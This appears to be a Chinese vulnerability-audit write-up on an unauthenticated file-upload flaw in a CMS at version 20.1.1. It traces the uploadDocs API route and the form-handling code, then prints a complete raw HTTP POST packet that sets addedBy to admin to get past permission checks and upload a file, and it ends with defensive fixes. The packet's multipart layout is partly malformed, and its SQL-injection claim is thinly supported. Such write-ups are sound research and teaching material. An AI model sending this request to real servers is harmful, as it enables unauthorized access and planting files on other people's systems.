记一次某道CMS审计过程
字数 764 2025-08-22 18:37:27

某道CMS未授权漏洞审计教学文档

漏洞概述

本文档详细分析某道CMS (v20.1.1版本)中的一个未授权漏洞审计过程,涉及SQL注入和文件上传漏洞的利用链。

漏洞定位

1. 入口点分析

漏洞入口位于doc类下的uploadDocs方法,通过反射获取路由传参:

/api.php?m=doc&f=uploaddocs&objectType=1&objectID=2&libID=3&moduleID=4&docType=5

2. 路由解析

系统通过POST请求进入loadModel方法,然后调用getLibByID方法执行SQL语句:

SELECT * FROM ZT_DOCLIB where id = '$doc->lib'

核心漏洞分析

1. 表单数据处理流程

关键代码段:

form::data($this->config->doc->form->create)
setDefault('addedBy', $this->app->user->account)
get()

1.1 form.class.php分析

form.class.php中的data方法负责生成并配置表单数据对象:

  1. 从POST请求获取原始数据并存储为对象形式
  2. 初始化处理数据对象
  3. 初始化错误信息数组

1.2 convertField方法

该方法确保字段数据的有效性和一致性:

  1. 检查rawdata中是否存在该字段
  2. 检查$data是否为空
  3. 如果字段存在但处理后的数据为空,进入错误处理逻辑
  4. 最终将处理后的有效数据存储到$this->data

2. SQL注入点

关键SQL语句:

$docResult = $this->doc->create($docData)

对应的SQL查询:

SELECT * FROM ZT_DOCLIB where id = '$doc->lib'

只要ZT_DOCLIB表中存在对应ID记录即可利用。

漏洞利用

1. 构造恶意请求

完整攻击数据包:

POST /api.php?m=doc&f=uploaddocs&objectType=1&objectID=2&libID=3&moduleID=4&docType=5 HTTP/1.1
Host: zentaopms:8099
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: zentaosid=h34ae6fj103cthpeuaev3atdj4; lang=zh-cn; vision=rnd; device=desktop; theme=default; hideMenu=false; tab=doc
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
-269651544533912382351498565806
Content-Disposition: form-data; name="addedBy"
admin
-269651544533912382351498565806
Content-Disposition: form-data; name="module"
Admin12310
Content-Length: 924
-269651544533912382351498565806
Content-Disposition: form-data; name="uploadFormat"
combinedDocs
-269651544533912382351498565806
Content-Disposition: form-data; name="lib"
1
-269651544533912382351498565806
Content-Disposition: form-data; name="type"
attachment
-269651544533912382351498565806
Content-Disposition: form-data; name="title"
adminadmin
-269651544533912382351498565806
Content-Disposition: form-data; name="acl"
private
-269651544533912382351498565806
Content-Disposition: form-data; name="uid"
111
-269651544533912382351498565806
Content-Disposition: form-data; name="files[]"; filename="1.jpg"
Content-Type: image/jpeg
11aaaa
-269651544533912382351498565806--

2. 关键参数说明

  • addedBy: 设置为admin绕过权限检查
  • lib: 设置为已知存在的库ID
  • files[]: 上传恶意文件

防御建议

  1. uploadDocs方法添加权限验证
  2. 对SQL查询使用参数化查询
  3. 对上传文件进行严格的内容检查和类型验证
  4. 对表单数据处理添加更严格的验证逻辑

总结

该漏洞利用链结合了未授权访问、SQL注入和文件上传漏洞,通过精心构造的请求可以绕过系统多项安全检查。审计过程中需要关注表单数据处理流程和数据库查询构造方式。

某道CMS未授权漏洞审计教学文档 漏洞概述 本文档详细分析某道CMS (v20.1.1版本)中的一个未授权漏洞审计过程,涉及SQL注入和文件上传漏洞的利用链。 漏洞定位 1. 入口点分析 漏洞入口位于 doc 类下的 uploadDocs 方法,通过反射获取路由传参: 2. 路由解析 系统通过POST请求进入 loadModel 方法,然后调用 getLibByID 方法执行SQL语句: 核心漏洞分析 1. 表单数据处理流程 关键代码段: 1.1 form.class.php分析 form.class.php 中的 data 方法负责生成并配置表单数据对象: 从POST请求获取原始数据并存储为对象形式 初始化处理数据对象 初始化错误信息数组 1.2 convertField方法 该方法确保字段数据的有效性和一致性: 检查 rawdata 中是否存在该字段 检查 $data 是否为空 如果字段存在但处理后的数据为空,进入错误处理逻辑 最终将处理后的有效数据存储到 $this->data 2. SQL注入点 关键SQL语句: 对应的SQL查询: 只要 ZT_DOCLIB 表中存在对应ID记录即可利用。 漏洞利用 1. 构造恶意请求 完整攻击数据包: 2. 关键参数说明 addedBy : 设置为 admin 绕过权限检查 lib : 设置为已知存在的库ID files[] : 上传恶意文件 防御建议 对 uploadDocs 方法添加权限验证 对SQL查询使用参数化查询 对上传文件进行严格的内容检查和类型验证 对表单数据处理添加更严格的验证逻辑 总结 该漏洞利用链结合了未授权访问、SQL注入和文件上传漏洞,通过精心构造的请求可以绕过系统多项安全检查。审计过程中需要关注表单数据处理流程和数据库查询构造方式。